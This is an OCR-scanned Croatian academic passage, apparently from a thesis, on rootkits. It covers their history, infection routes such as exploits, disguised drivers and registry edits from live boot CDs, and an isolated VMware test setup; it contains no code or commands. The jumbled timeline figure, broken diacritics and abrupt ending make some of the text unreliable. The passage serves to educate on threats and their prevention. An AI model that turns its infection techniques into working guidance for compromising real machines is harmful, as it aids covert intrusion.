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1. Uvod

Racunalna sigurnost u danasnjem svijetu globalne raunalne umreZenosti i sveprisutnosti
racunala ima sve vec¢i znacaj 1 privlaci sve vecu pozornost 1 onih medija 1 krugova koji nisu
direktno povezani s informacijskom tehnologijom i racunalnim znanostima.

Relativno nedavno na sceni zlo¢udnih programa pojavili su se tzv. rootkiti — programi za
prikrivanje prisutnosti napadaca u racunalnom sustavu koji, kao $to im i ime govori, sakrivaju
napadacevu prisutnost na korisnikovom racunalu i1 osiguravaju napadacu obavljanje zlo¢udnih
aktivnosti bez (gotovo) ikakvog znanja korisnika.

Korisnik se teSko moZe boriti protiv necega Sto ne vidi, ne moZe otkriti nesto za $to ne zna da
postoji 1 nece poduzeti nikakve sigurnosne protumjere ako ne postoji sumnja u integritet i
kompromitiranost sustava. Zadaca alata za prikrivanje prisutnosti napadaca je uvjeriti
korisnika da njegov sustav nije kompromitiran.

Zbog svoje iznimne sposobnosti sakrivanja od korisnika (ne samo vlastitog skrivanja vec i
skrivanja proizvoljnog programa na sustavu) i zbog moguénosti kontroliranja kompletnog
sustava (zbog djelovanja na razini jezgre), alati za prikrivanje prisutnosti napadaca
predstavljaju veliku opasnost sigurnosti racunalnih sustava. Trendovi "spustanja" zlo¢udnih
programa na sve nizu razinu dovoljan su argument za upoznavanje s funkcionalnostima i
klasifikaciji alata za prikrivanje prisutnosti napadaca, kao 1 metodama prevencije, zastite i
njihovog odstranjivanja, o ¢emu ¢e biti vise rijeci dalje u tekstu.



2. Povijest i razvoj alata za prikrivanje prisutnosti napadaca

Kada se govori o racunalnoj sigurnosti, ve¢ina s tim pojmom povezuje racunalne viruse, crve
i trojanske konje (iako to niposto nije jedini aspekt racunalne sigurnosti). Radi jednostavnosti
¢e raCunalni virusi, crvi i trojanski konji biti oznaceni samo kao racunalni virusi iako to nije
sasvim to¢na definicija 1 karakterizacija. Rac¢unalni virusi su ra¢unalni programi sa zlo¢udnim
svojstvima koji mogu onesposobiti racunalo korisnika ili mu ukrasti privatne podatke, a uz to
jo$ imaju sposobnost samostalnog Sirenja i zaraze drugih racunala. Takvi zlo¢udni programi
pojavili su se jos u samim pocetcima racunarstva i kao nacin subverzivnog djelovanja ostali
su prisutni do danas. Mijenjala se jedino njihova funkcionalnost: od vrlo jednostavnih ranih
racunalnih virusa koji su uglavnom ispisivali razli¢ite poruke i nisu imali destruktivne
sposobnosti, do danasnjih vrlo sofisticiranih crva koji pretvaraju racunala u zombije (engl.
bots) koji ¢ekaju naredbe glavnog racunala za provedbu razlicitih zlo¢udnih aktivnosti, npr.
distribuiranih napada uskra¢ivanjem racunalnih resursa (engl. Distributed Denial of Service).
Medutim, razvojem i Sirenjem Interneta, a osobito pojavom velikih virusnih epidemija
(racunalni crvi Blaster, Sasser 1 Netsky) podigla se opca svijest o vaznosti racunalne
sigurnosti 1 zaStite osobnog racunala. Gotovo svaki korisnik raCunala danas upotrebljava
antivirusni program i sigurnosnu zastitnu stijenu na svojem racunalu. Velik je broj korisnika
koji upotrebljavaju i dodatne specijalizirane programe za zaStitu od neZeljene elektronicke
poste, za zastitu od aplikacija za Spijuniranje korisnika (engl. spyware) 1 takozvanih oglasnih
aplikacija (engl. adware). Velika potraznja korisnika za $to boljim sigurnosnim aplikacijama,
ali 1 nastojanje velikih softverskih kompanija poput Microsofta da svoje proizvode ucini
sigurnijima 1 makne sa svojeg imena stigmu "nesigurne" kompanije uzrokovali su opce
poboljsanje sigurnosti aplikacija i operacijskih sustava i postavili nove temelje za razvoj
buducih (sigurnijih) aplikacija. Danasnji sofisticirani antivirusni programi i sigurnosne
zastitne stijene obiluju zastitnim funkcijama 1 iznimno su uspjesni u borbi s "tradicionalnim"
zlo¢udnim programima. Sve ove Cinjenice dovele su do znatnog opadanja broja novih virusa
koje stvaraju autori zloudnih programa (postoje brojni stariji racunalni virusi 1 crvi koji su
jos uvijek aktivni i prenose "zarazu" na racunala diljem svijeta).

No autori zlocudnog softvera uvijek su pratili razvoj sigurnosnih aplikacija 1 prilagodavali
svoje programe kako ih antivirusni i drugi programi ne bi mogli jednostavno otkriti.
Razvojem 1 povecanjem kompleksnosti sigurnosnih aplikacija, autori zlo¢udnog softvera
morali su pronaci nove i sloZenije nacine izbjegavanja detekcije. Takoder, jednom zaraZeni
sustav nastoji se Sto duZe zadrZati u napadacevom "vlasniStvu" bez znanja korisnika jer
ponovni upad mozda nece biti moguce provesti. lako se broj novih virusa smanjuje, oni koji
se pojavljuju znatno su opasniji 1 sofisticiraniji od svojih prethodnika. Autori novih zlo¢udnih
programa moraju imati izvanredna znanja o unutra$njosti i svim detaljima operacijskog
sustava kojeg Zele "napasti" jer je trend novih zlo¢udnih programa djelovanje na $to nizoj
razini, tj. na razini jezgre operacijskog sustava (engl. kernel). 1zvjestaj tvrtke McAfee iz 2006.
godine [1] govore kako se broj zlocudnih programa koji koriste neku naprednu tehniku
skrivanja ili rade u jezgrinom nacinu rada do 2006. godine povecao ¢ak 9 puta, a samo u
prvom dijelu 2006. godine bio je malo manji od cijele 2005. 1 2004. godine zajedno.

Upravo ovdje na scenu stupaju tzv. rootkiti. U hrvatskom jeziku ne postoji doslovan prijevod
ove kovanice, niti bi on imao smisla. U engleskom jeziku pojam root oznafava korisnika na
UNIX/LINUX operacijskom sustavu koji posjeduje administratorske privilegije. Rootkit bi
dakle bio alat (engl. kir) ili skup alata koji napadacu omogucava zadrzavanje



administratorskih dozvola jednom kada napada¢ dobije pristup sustavu. Najéesce se rootkite
prevodi kao alate za prikrivanje prisutnosti napadaca 1 iako taj naziv ne govori o svim
moguénostima koje rootkiti imaju, bit ¢e koriSten u daljnjem tekstu umjesto engleskog
termina rootkit.

Dio definicije alata za prikrivanje prisutnosti napadaca sadrzan je u samom imenu, no
opcenito ith mozemo definirati kao program ili skup programa i programskog koda koji
omogucava napadacu da trajno ili duze vrijeme neopaieno odrzi svoju prisutnost na
zarazenom racunalu. Kljuéna rije¢ u ovoj definiciji je neopazivost samog alata. Sposobnost
skrivanja zlocudnog programa od korisnika nije nova tehnika: brojni virusi skrivaju svoju
prisutnost uzimaju¢i imena izvr$nih datoteka i procesa u memoriji koja su slicna sistemskim
imenima (npr. Isass.exe i Isass.exe, gdje prvi proces predstavlja Optix.Pro virus, dok drugi
proces — Local Security Authority Subsystem Service predstavlja dio Windows operativnog
sustava). Medutim, ovakve promjene specijalizirani alati iznimno lako otkrivaju i takvi virusi
ne predstavljaju nikakav problem za danaSnje antivirusne alate. Neki virusi skrivaju u
potpunosti proces u kojem se izvrSavaju od alata kao Sto je Windows Task Manager. Takve
metode su nesto sloZenije, no 1 dalje je sam proces odnosno kod virusa vidljiv u memoriji,
odnosno na disku koriStenjem danasnjih antivirusa. Alati za prikrivanje prisutnosti napadaca
uglavnom rade na razini jezgre operacijskog sustava i u moguénosti su gotovo u potpunosti
sakriti svoju prisutnost od vecine dana$njih sigurnosnih aplikacija. Sposobni su prikriti
direktorije, datoteke, procese, dretve unutar procesa, dijelove memorije, kljueve u
sustavskom registru (engl. system registry), mrezni promet (IP adrese i pristupe) i brojne
druge objekte operacijskog sustava. Uobicajene antivirusne tehnike naj¢eS¢e nisu uspjesne
protiv takvih alata i samim time su alati za prikrivanje prisutnosti napadaca vrlo opasni, ali i
zanimljivi programi. Tako sakriveni, alati za prikrivanje prisutnosti napadaca osiguravaju
ponovno prijavljivanje napadaca na sustav (odnosno njegovu interakciju sa zaraZenim
sustavom u bilo kojem obliku). Uz svoju glavnu funkciju mogu vrsiti razne druge (najcesce
zlo¢udne) aktivnosti: prikupljanje lozinki i brojeva kreditnih kartica, prisluskivanje mreznog
prometa, koriStenje racunala za DDoS napade 1 brojne druge aktivnosti. Osim djelovanja na
jezgrinoj razini, alati mogu djelovati i u korisnickoj razini i iako se takvi alati lakSe otkrivaju 1
odstranjuju sa sustava, nisu nimalo bezazleni o ¢emu ¢e vise rijeci biti u nastavku.

Povijest razvoja alata za prikrivanje prisutnosti napadaca najbolje se moze razmotriti na
vremenskoj liniji prikazanoj na slici 2.1:

stu. 1998

Linux rootkiti koji se ne

ugraduju direktno u jezgru lip. 1999
. 2005
sustava Poznati Linux LKM rootkit . Z’F; ::.' MBR rootkit kol. 2008
1989 Adore earjski predsiaviien OO Virualizacijski rootkit BluePill
Prvi Linux Gistadi 1993 pro. 1895 / _ . lis. 2005 -
log datoteka Sun0S 4 rootkit Prvi Linux rootkiti lip. 2000 \ Sony BMG rootkit -~ Sii- 2008
N N ™ Popularni Linux TOrn rootkit \l, " Prvi aktivni MBR rootkit
. Hne \

o _/-""---
~ —
1999 - 2006
nacajan razvoj WIﬂﬂOWS |’00[klta

1980 1991 1992 1993 1994 1995 1996 19?7\;’98 1099 2?00 2001 2002 2003 2004 2005 2006 2007 2008

™,
1989 1997-1998 N T~ — 2008
Razvoj Linux jezgrenih \\ \ pro. 1999
trojanskih konja N ~ Poznati Windows NT_rootkit,
kol. 1998 b ujedno i prvi Windows .
Prvi Wind “rootkit* jezgreni rootkit
rvi Windows "rootki lip. 1999 tra, 2006

Back Orifice Prvi virtualizacijski rootkit SubVirt

Druga verzija Back Orifice-a,
BO2K

Slika 2.1: Povijest razvoja alata za prikrivanje prisutnosti napadaca



Tesko je sa sigurnos¢u odrediti pocetak pojave alata za prikrivanje prisutnosti napadaca.
Oduvijek su autori zlo¢udnih programa i1 napadaci na racunalne sustave nastojali na neki nacin
sakriti svoju prisutnost na sustavu (postoje naravno i tzv. "glasni" napadi gdje korisnik zeli da
se njegova prisutnost otkrije ili zbog same prirode napada ne moze sakriti svoju prisutnost —
primjeri su DDoS napadi i vandaliziranje web stranica). Prvim alatima za prikrivanje
prisutnosti napada¢a mogu se smatrati Cistaci log datoteka za operacijski sustav Linux.
Brisanjem log datoteka efektivno se brise svaka aktivnost napadaca na sustavu.

Prvim pravim alatom za prikrivanje prisutnosti napadaca u danaSnjem smislu rije¢i moze se
smatrati onaj namijenjen SunOS v4 operacijskom sustavu jer je imao moguénost prikrivanja
svoje prisutnosti zamjenjujuéi programe za izlistavanje direktorija, datoteka i procesa na
sustavu, zajedno s brisanjem log datoteka. Tijekom godina su alati za prikrivanje prisutnosti
napadaca migrirali na druge operacijske sustave, najprije Linux (gdje su djelovali na razini
jezgre, kao vecina danaSnjih), a potom i Windows operacijski sustav. Razvijen je Citav niz
alata za prikrivanje prisutnosti napadaca namijenjenih operacijskom sustavu Linux s
razli¢itom funkcionalnosti i razliitom razinom djelovanja. Gotovo svi djeluju na razini
jezgre, no neki djeluju kao jezgrini moduli — pandan upravlja¢kim programima na Windows
operacijskom sustavu — a neki naprednim tehnikama pristupaju jezgrinom memorijskom
prostoru [2]. Na Windows operacijskom sustavu takvi su alati najprije djelovali na korisnickoj
razini, poput poznatog Back Orifice alata. Bez obzira na to Sto su djelovali na korisnickoj
razini, takvi su alati bili vrlo mo¢ni zbog inherentne nesigurnosti prvih ina¢ica Windows
operacijskog sustava (verzije Windows 95, 98 i ME). Pojavom Windowsa NT i kasnije
Windowsa 2000 i XP takvi alati su izgubili na svojoj "snazi". Ipak, alati koji djeluju u
korisnickom nacinu rada najeSée zahtjevaju manje privilegije od onih koji djeluju u
jezgrinom nacinu rada i vrlo su opasni kao §to ¢e ovaj rad demonstrirati. Nakon pojave
Windows NT porodice, vrlo brzo se pojavio i prvi alat za Windowse koji radi u jezgrenom
nacinu rada, NT Rootkit.

prisutnosti napadaca temeljeni na virtualizaciji. Pretpostavlja se da ¢e se u buduénosti
pojavljivati sve vise alata temeljenih na virtualizaciji, kao 1 alata koji se jednim svojim
dijelom smjestaju u prvi sektor tvrdog diska, takozvanih MBR alata za prikrivanje prisutnosti
napadaca.

Posebno je zanimljiv slucaj tvrtke Sony koja je 2005. godine na nosace zvuka i videa izvodaca
koji izdaju pod njihovom etiketom pocela stavljati zastitu od neovlaStenog kopiranja [3].
Zastita je funkcionirala tako da se bez znanja korisnika na njegovo racunalo kopira
upravljacki program koji mijenja adrese nekih sistemskih poziva u jezgri operativnog sustava
1 nadgleda eventualne pokuSaje kopiranja sadrzaja CD-a. Sony je sudskom nagodbom bio
prisiljen povu¢i inkriminiraju¢u tehnologiju, a naknadno i sve nosace zvuka i videa koji su tu
tehnologiju koristili.

Vrlo je zanimljiv i slucaj Rustock.C alata koji je otkriven u ljeto 2007. godine i smatra se
najduze neotkrivenim zlo¢udnim programom u Windows operacijskom sustavu — ukupno
"vrijeme zivota" tijekom kojega nije bio otkriven je jedna godina i Sest mjeseci. Detaljna
analiza moze se pronaci na stranici [4].



3. Nacini zaraze racunalnog sustava alatom za prikrivanje
prisutnosti napadaca

Prema podacima W3Schools web stranice [5] koja mozda nije najbolji izvor statistike, ali
svakako daje dobar uvid u stanje stvari, naCinjen je dijagram rasprostranjenosti popularnih
operativnih sustava prikazan na slici 3.1.
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Slika 3.1: Rasprostranjenost popularnih operacijskih sustava u
postocima

Iz dijagrama je vidljivo da Windows operacijski sustavi imaju udio od preko 85% u ukupnom
broju svih operacijskih sustava. lako Linux operacijski sustav nije niSta manje zanimljiv,
StoviSe, novi alati za prikrivanje prisutnosti napadata na tom operacijskom sustavu
primjenjuju sofisticirane metode skrivanja, u ovom tekstu bit ¢e obradeni samo alati na
Windows operacijskom sustavu i1 to na verziji XP. Svi detalji i funkcionalnost alata za
prikrivanje prisutnosti napadaca odnosit ¢e se na Windows porodicu operacijskih sustava.
Detalji o ispitnom okruzenju nalaze se u odgovaraju¢em poglavlju.

Prije nego Sto budu objaSnjeni nacini zaraze sustava alatom za prikrivanje prisutnosti
napadaca, treba napomenuti da sam alat nije zaduzen za dobivanje pristupa ciljanom racunalu.
Alat kao takav ne iskoriStava ranjivosti sustava kako bi se na njega ugradio, niti ciljano
mijenja strukture operacijskog sustava u svrhu dobivanja pristupa i administratorskih
privilegija. Za tu su svrhu namijenjeni drugi alati, naj¢esc¢e se radi o takozvanim exploitima
(hrvatski prijevod ovog termina ne postoji) — programi koji ciljano iskoriStavaju ranjivosti
operacijskog sustava ili aplikacija u svrhu dobivanja administratorskih privilegija ili rusenja
sustava. Tek nakon dobivanja administratorskih privilegija, napada¢ na ciljno racunalo
ugraduje alat za prikrivanje svoje prisutnosti.

Upravo zbog toga nacine i uzroke zaraze alatima za prikrivanje prisutnosti napadaca treba
traziti u razlozima koji dopustaju exploitima da obave posao za koji su namijenjeni.



Postoje tri osnovna nacina zaraze racunalnog sustava:
e iskoriStavanje ranjivosti operacijskog sustava

e iskoriStavanje ranjivosti aplikacija koje imaju administratorske
privilegije
e socijalni inZenjering i manjak fizicke sigurnosti

Kod iskoristavanja ranjivosti operacijskog sustava napadac pronalazi ranjivost u operacijskom
sustavu 1 iskori§tava tu ranjivost nastoje¢i dobiti administratorski pristup. Budué¢i da
pronalazenje ranjivosti nije jednostavan posao, za pronalaZzenje novih ranjivosti i
iskoriStavanje starih postoje gotovi "exploiti" i konceptualni okviri (engl. framework) koji to
omogucavaju i znatno olakSavaju posao iskusnom, ali i neiskusnom napadacu. Primjer takvog
konceptualnog okvira je Metasploit framework [6].

Windows porodica operativnih sustava €esto se spominje u negativnom kontekstu kada se
govori o racunalnoj sigurnosti. Operacijski sustavi bez ikakve sigurnosti (Windows 95, 98 i
ME) 1 veliki sigurnosni propusti (prije svega propusti u Internet exploreru i 1IS — Internet
Information Services web posluzitelju) osnovni su razlog zasto se Cesto o sigurnosti
Microsoftovih proizvoda govori s podsmjehom. Medutim, razne sigurnosne inicijative unutar
same kompanije, prije svega ciklus razvoja s naglaskom na sigurnost [7] (engl. Security
development lifecycle) ucinili su Microsoftove proizvode mnogo sigurnijima nego ranije i uz
znatno veci naglasak na sigurnost.

Windows XP operacijski sustav kao danas najceSc¢e koriSteni operacijski sustav smatra se vrlo
sigurnim, u rangu raznih Linux distribucija koje se naj¢es¢e uzimaju kao primjer sigurnosti.
To ne znaci da je sustav apsolutno siguran: pocetkom 2008. godine otkriven je vrlo veliki
sigurnosni propust [8] u TCP/IP stogu novijih verzija Windows operacijskog sustava
(ukljucujuéi Vistu) koji napadacu omogucava potpunu kontrolu nad sustavom. Vrlo brzo je
izdana zakrpa za taj sigurnosni propust, no propust je dobar pokazatelj da se nikada u
potpunosti ne mozemo pouzdati u sigurnost i neranjivost sustava.

Na ranjivosti operacijskog sustava teSko mozemo utjecati prije nego Sto se one otkriju, tako
da je ovaj nacin zaraze tesko sprijeciti ako je ranjivost jo§ neotkrivena, no sigurnosne zastitne
stijene 1 ostali mehanizmi zaStite ovdje imaju odlucujuc¢u ulogu u osiguravanju integriteta i
sigurnosti sustava.

Zbog vrlo dobre sigurnosti danaS$njih raCunalnih sustava napadali se sve viSe okrecu
aplikacijama koje djeluju s administratorskim privilegijama i moZze im se pristupiti s Interneta.
U tu skupinu aplikacija ubrajaju se svi Internet posluzitelji (web posluzitelji i posluzitelji
elektroni¢ke poste) te razliCite usluge u smislu programa — posluzitelja razli¢ite namjene
(engl. services — ekvivalent je daemon u operacijskom sustavu Linux). Napada¢ iskoriStava
ranjivosti 1 propuste u samim aplikacijama (najéeS¢e se radi o napadu prepunjavanjem
meduspremnika — engl. buffer overflow) kako bi mogao izvrSavati naredbe u kontekstu u
kojem se odvija sama aplikacija, dakle s administratorskim privilegijama. Napada¢ tada bez
problema na sustav moze ugraditi alat za prikrivanje svoje prisutnosti. Primjer takve
aplikacije je ve¢ spomenuti IIS posluZitel;.

Kao i u slucaju ranjivosti operacijskih sustava, pomalo je zabrinjavajuca Cinjenica da se vrlo
lako mogu pronac¢i web stranice s kddom i programima koji su namijenjeni za iskoriStavanje
ranjivosti pojedinih aplikacija. Prevencija ovakvih napada trebala bi i¢i u smjeru smanjivanja
privilegija aplikacija u najvecoj mogucoj mjeri, koliko god okruzenje dopusta. Budu¢i da to



nije uvijek moguce napraviti, treba uvijek koristiti $to novije verzije doti¢nih aplikacija, pratiti
razvoj aplikacije 1 pojavu sigurnosnih zakrpa 1 koristiti sigurnosnu zaStitnu stijenu i
antivirusni program.

Zadnji nacin upada predstavljaju socijalni inZenjering 1 fizi¢ki upadi. Socijalni inZenjering je
metoda ugrozavanja sigurnosti informacijskih sustava koja se koncentrira na manipuliranje
ljudima unutar sustava kako bi se od njih dobile povjerljive informacije potrebne za
neovlasteno koriStenje resursa informacijskog sustava’. Ova tehnika temelji se na laznom
predstavljanju napadaca ili na tehnici kojom napada¢ maskira svoj zlo¢udni program kao
koristan. Za ugradnju alata za prikrivanje prisutnosti napadaca koji rade u jezgrenom nacinu
rada (vecina danaSnjih) potrebne su administratorske privilegije. Windows operacijski sustavi
nakon NT porodice, a pogotovo u novoj Windows Visti, nastoje korisnika "udaljiti" od
koriStenja administratorskog korisnickog raduna 1 sugeriraju njegovo koriStenje samo u
iznimnim slu¢ajevima kada je to zaista nuzno. Nazalost, uza sve sigurnosne aplikacije i mjere,
korisnik je najslabija karika u "sigurnosnom lancu". Bez obzira na sve postavljene zastite i
odvajanje privilegija, vrlo velik broj korisnika Windows operacijskog sustava svoje
svakodnevne zadatke obavlja kao "administrator". Provedeno je istrazivanje medu kolegama
FERa 1 ostalih studenata SveuciliSta koje je pokazalo iznimno zanimljive (iako donekle
ocekivane), ali i1 zabrinjavajuée rezultate prikazane na slici 3.2 i 3.3. (na ordinati je ukupan
broj ispitanika).
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Slika 3.3: Raspodijeljenost korisnickih racuna u
poslovnom okruzenju

lako je ispitni uzorak u oba ispitivanja relativno malen, on daje zadovoljavaju¢i uvid u
stvarnu situaciju raspodjele korisnickih racuna. U skupini od 45 ispitanika postoji 45
administratorskih korisnickih racuna, pri ¢emu neki imaju jos i dodatne korisni¢ke racune na
svojim racunalima. U poslovhom okruZenju je situacija neSto drukc¢ija te od ukupno 23
racunala koja su obuhvadena istrazivanjem, Kkorisnici su na njih 10 imali samo
administratorske korisnicke racune, na dodatnih 10 samo racune naprednog korisnika (engl.
power user), a obicni korisnik su bili na svega 3 racunala.

Bez obzira na ugradena ogranicenja operativnog sustava, vidimo da napada¢ moze vrlo lako
ugraditi alat za prikrivanje svoje prisutnosti ako na neki nacin uspije nagovoriti korisnika da
ga on sam ugradi na svoj sustav. Primjerice, napada¢ moZze maskirati alat koristec¢i
modificirane upravljacke programe za graficku karticu koji se ionako moraju ugraditi u jezgru
sustava pa postoji velika mogucnost da korisnik nece primijetiti zlo¢udnu namjeru napadaca.

1 Z. Panian, Informaticki enciklopedijski rjecnik, Europapress holding, Zagreb, 2005.



Pronalaskom nesavjesnog korisnika koji obavlja vecéinu poslova pod administratorskim
korisnickim ra¢unom, napadaceva namjera da pridobije sustav prakticki je ispunjena.

S alatima koji djeluju u korisnickom nacinu rada situacija je jo$ jednostavnija jer oni najcesée
ne zahtjevaju administratorske dozvole pa time predstavljaju dodatnu opasnost krajnjem
korisniku.

Rjesenje ovog problema mozda je teze od eliminacije sigurnosnih propusta u operacijskom
sustavu i aplikacijama, a temelji se na promjeni navika korisnika i njihovoj edukaciji. Iako su
korisnici danas znatno svjesniji opasnosti i raznih ugroza sigurnosti koje im prijete nego Sto
su to bili prije desetak godina, lazna sigurnost koju pruzaju antivirusni alati i sigurnosne
zaStitne stijene, mistificiranje raCunalne sigurnosti i napadaca i nedostatak temeljne edukacije
razlog su za zabrinutost. Needucirani korisnik nije prijetnja samo sebi ve¢ i organizaciji u
kojoj radi i1 upravo je zbog toga edukacija i svijest o opasnostima iznimno vazna. Dio
odgovornosti lezi i u samom Windows operacijskom sustavu jer nedovoljno "agresivno"
sugerira korisniku da koristi korisnicki racun s ograni¢enim privilegijama, za razliku od Linux
operacijskog sustava gdje je takva politika korisnickih racuna prisutna od samih pocetaka.
Windows Vista s mehanizmom UAC [9] (engl. User Account Control) pokazuje pozitivhe
pomake ka smanjenju privilegija korisni¢kog racuna kojeg korisnici koriste za svakodnevni
rad, a da uz to ne predstavlja preveliku smetnju korisniku u obavljanju svakodnevnih
aktivnosti.

Jo§ jedan, sve prisutniji nacin napada na korisni¢ko racunalo i ugradnje alata za prikrivanje
prisutnosti napadaca je i direktna fizicka manipulacija ra¢unalom. Taj nac¢in napada prisutan
je oduvijek, no velikom ekspanzijom prijenosnih racunala sve su ¢es¢i slucajevi zaraze ovim
putem. Napada¢ koji ima fizi¢ki pristup racunalu ima (opéenito govoreéi) potpunu kontrolu
nad sustavom. Antivirusni programi i sigurnosne zastitne stijene u ovom slucaju prakticki su
beskorisni. Napadaca se moze usporiti lozinkama postavljenima na BIOS, napada¢ moze biti
ograni¢en vremenom svog napada, ali sustav je u slucaju fizickog napada iznimno ranjiv.
Najnoviji alati za prikrivanje prisutnosti napadaca koji se mogu ugraditi u prvi sektor tvrdog
diska 1 od tamo mijenjati dijelove jezgre otporni su gotovo na sve oblike prevencije osim
zaStite zabrane pisanja po prvom sektoru, §to ne pruzaju sve mati¢ne ploce, niti svi korisnici
imaju omogudéenu tu opciju.

Na Internetu su dostupne brojne takozvane "Zive (engl. /ive)" distribucije Linuxa ili nekog
vlastitog minimalnog operacijskog sustava koje se mogu pokrenuti prilikom podizanja sustava
1 imaju sposobnost mijenjanja Windows lozinki i izmjene sustavskog registra (naravno, tada
niti jedna zaStita ugradena u operacijski sustav ne djeluje, kao ni antivirusni programi i
sigurnosne zastitne stijene). Najpoznatije zive distribucije su Emergency Boot CD [la] i
Offline NT Password & Registry Editor [2a]. KoriStenjem takvih distribucija izmjena
sustavskog registra vrlo je jednostavna. Primjer [10] mijenjanja sustavskog registra pomocu
Offline NT Password & Registry Editor distribucije dan je u pripadnom videu. U
demonstraciji je najprije napravljena vrlo jednostavna batch skripta koja samo ispisuje tekst
"Hello world" na zaslon racunala. Iz demonstracije je vidljivo da u odgovaraju¢em kazalu
sustavskog registra ne postoji niti jedan program koji se pokrece nakon prijave korisnika na
sustav. KoriStenjem navedene distribucije vrlo brzo, u svega dvije minute, skripta je dodana u
listu programa koji ¢e se pokretati prilikom pokretanja sustava, nakon prijave korisnika (bez
obzira na to o kojem se korisniku radi), $to se u demonstraciji i vidi nakon ponovnog
pokretanja sustava.



Ako koristi ove alate kao polaznu to¢ku, napada¢ ne mora biti pretjerano vjest da modificira
distribucije 1 prilagodi ih svojoj zloudnoj namjeri. Umjesto programa Notepad na listi
programa mogao se naci alat za prikrivanje prisutnosti napadaca ili bilo koji drugi zlo¢udni
program.

Fizicki napad i zarazu takoder je vrlo tesko sprijeciti. Korisnik bi trebao postaviti BIOS
lozinku, onemogucditi pisanje po prvom sektoru diska (ako za to ima hardverske moguénosti),
onemoguciti podizanje racunala s CDa ili USB memorije i nikada ne bi smio ostavljati svoje
racunalo bez nadzora ili nezakljucano lozinkom.



4. Ispitno okruZenje i nacini ispitivanja

Alati za prikrivanje prisutnosti napadaca koji se obraduju u ovom tekstu i sav kod koji ¢e biti
prikazan 1 objasnjen, ima u sustini uglavnom zlo¢udnu svrhu 1 kao takvoga ga treba tretirati s
oprezom. Pri stvaranju ispitnog okruZenja najveca je pozornost posvecena izoliranosti samog
testnog sustava, kako se sav zlocudni kod ne bi Sirio izvan svog ciljnog okruzenja. Ugradnja
zlo¢udnih alata u racunalo kojim se vr$ilo samo ispitivanje nije izravno dolazila u obzir, a to
bi otezalo 1 demonstraciju rada alata jer bi sam rad bio nedjeljiv od ra¢unala na kojem se on
obavljao.

Idealno rjeSenje za izolaciju ispitnog sustava pojavilo se u obliku virtualnog stroja unutar
VMware aplikacije. Takav virtualni stroj s operacijskim sustavom (u daljnjem tekstu gost)
odvojen je dodatnom razinom apstrakcije od stvarnog hardvera. Sve promjene unutar gosta
mogu se vrlo jednostavno nadgledati bez negativnog utjecaja na glavni operacijski sustav (u
daljnjem tekstu domacin), promjene se mogu ponistiti (VMware ima opciju povratka u
"proslost", na neko staro stanje sustava koje je bilo zadovoljavajuce), a moguce potpuno
ruSenje 1 uniStenje gosta vrlo se jednostavno popravlja ponovnom instalacijom, ili vra¢anjem
na prijasnje stanje.

Takoder, VMware omogucava postojanje viSe virtualnih strojeva s razli¢itim operacijskim
sustavima pa na jednom racunalu domacdinu mozemo istodobno vrsiti ispitivanje nad vise
operacijskih sustava istovremeno.

Samo stvaranje virtualnog stroja izvan je dosega ovog rada, no vrlo je jednostavno i
intuitivno.

Pri odabiru operacijskih sustava virtualnih strojeva uzet je u obzir dijagram naveden u
proslom poglavlju, uz napomenu da novi operacijski sustav — Windows Vista — nije uzet u
obzir zbog relativno nedavnog pojavljivanja na trzZiStu i mnogo novina ¢ije bi proucavanje
vremenski odgodilo nastanak ovog rada.

Prema tome, odabrani su sljedeci operacijski sustavi:

e Windows XP Professional Edition — bez ikakvih zakrpa
e Windows XP Professional Edition — sve zakrpe do 3. mjeseca 2008. g.

Razlog odabira istih verzija operacijskih sustava, samo s razli¢itim stupnjem aZurnosti u
pogledu zakrpa je ispitivanje utjecaja zakrpa i1 poboljSanja koje donosi Microsoft na
funkcionalnost alata za prikrivanje prisutnosti napadaca. Takvo razmatranje najvise ima
smisla kod operacijskog sustava Windows XP (koji je ujedno i najbrojniji), zbog vrlo velikog
broja sigurnosnih zakrpa i1 dodataka koje je uveo Service Pack 2 za Windows XP (Service
Pack 3 u trenutku pisanja rada sluzbeno nije javno dostupan u svojoj konacnoj verziji).

Sami operacijski sustavi (unutar gosta) zauzimaju veliki memorijski prostor (naravno, radi se
o prostoru domacina): zahtijevaju relativno veliki prostor na tvrdom disku i u radnoj
memoriji, osobito kada je na racunalu domacinu pokrenuto vise gostiju.



Kako bi se taj problem rijesio (ili barem sveo na najmanju mogucu mjeru), iskoristena je
mogucénost stvaranja vlastite instalacije Windows operacijskog sustava iz kojeg se izbacuju
svi nepotrebni dijelovi. Alat koji je omogucio izradu vlastite modificirane instalacije naziva se
nlite [3a].

Postavlja se pitanje legalnosti upotrebe ovakvog alata, budu¢i da je Windows operacijski
sustav vlasniStvo kompanije Microsoft i u ugovoru kojeg korisnik mora prihvatiti prilikom
instalacije (engl. EULA — End-user License Agreement) stoji da korisnik ne moze provoditi
neovlaStene modifikacije sustava. Medutim, na Internetu nema dostupne dokumentacije o
tome, Microsoft (zasada) nije reagirao i prisutni su uglavnom pomirljivi tekstovi od strane
Microsofta koji niti podrzava, ali ni ne napada nLite i programe slicne svrhe. Osim toga,
proizvodaci racunala poput Dell-a i HP-a ve¢ Citavo desetljeCe stvaraju vlastite instalacije
(gotovo vlastite "verzije") Windows operacijskog sustava pa se postavlja pitanje zasto to ne bi
mogao i korisnik koji je za taj softver dao svoj novac.

Sli¢na je situacija 1 s Windows operacijskim sustavom koji se koristi unutar virtualnog stroja,
kao u ovom radu. Kupnjom Windows operacijskog sustava, korisnik automatski kupuje
licencu koja mu omogucuje da taj softver koristi na jednom ili viSe racunala. Koristenje
(instalacija) operacijskog sustava na viSe racunala nego Sto je to dozvoljeno licencom, smatra
se povredom ugovora i kaznenim djelom. No nejasno je da li se pod definicijom racunala
misli stvarno fizicko racunalo ili je i1 virtualno racunalo takoder obuhva¢eno ugovorom.
Zasada Microsoft uglavnom smatra da koriStenje kopije Windows operacijskog sustava (za
kojeg korisnik ima licencu za jedno racunalo) u vise virtualnih strojeva nije povreda licence,
sve dok se radi o jednom fizickom ra¢unalu domacinu.

Koristenjem nLite alata iz instalacija je izbaCeno sve Sto za samu funkcionalnost sustava i za
potrebe ispitivanja nije bitno (igre, podrska za razli¢ito sklopovlje i uredaje koji se ne koriste,
servisi koji se ne koriste 1 dr.). Time su instalacije smanjene s oko 600 MB na oko 250 MB za
Windows XP. Takvi reducirani operacijski sustavi zauzimaju relativno malo diskovnog
prostora (oko 1.5 GB) i malu koli¢inu radne memorije (tesko je to¢no odrediti koliko, no
reduciranjem sustava moguce ih je pokrenuti viSe odjednom na jednom ra¢unalu domacinu).

Ispitivanje se vrsilo uglavnom tako da je prije bilo kakve modifikacije gosta napravljena slika
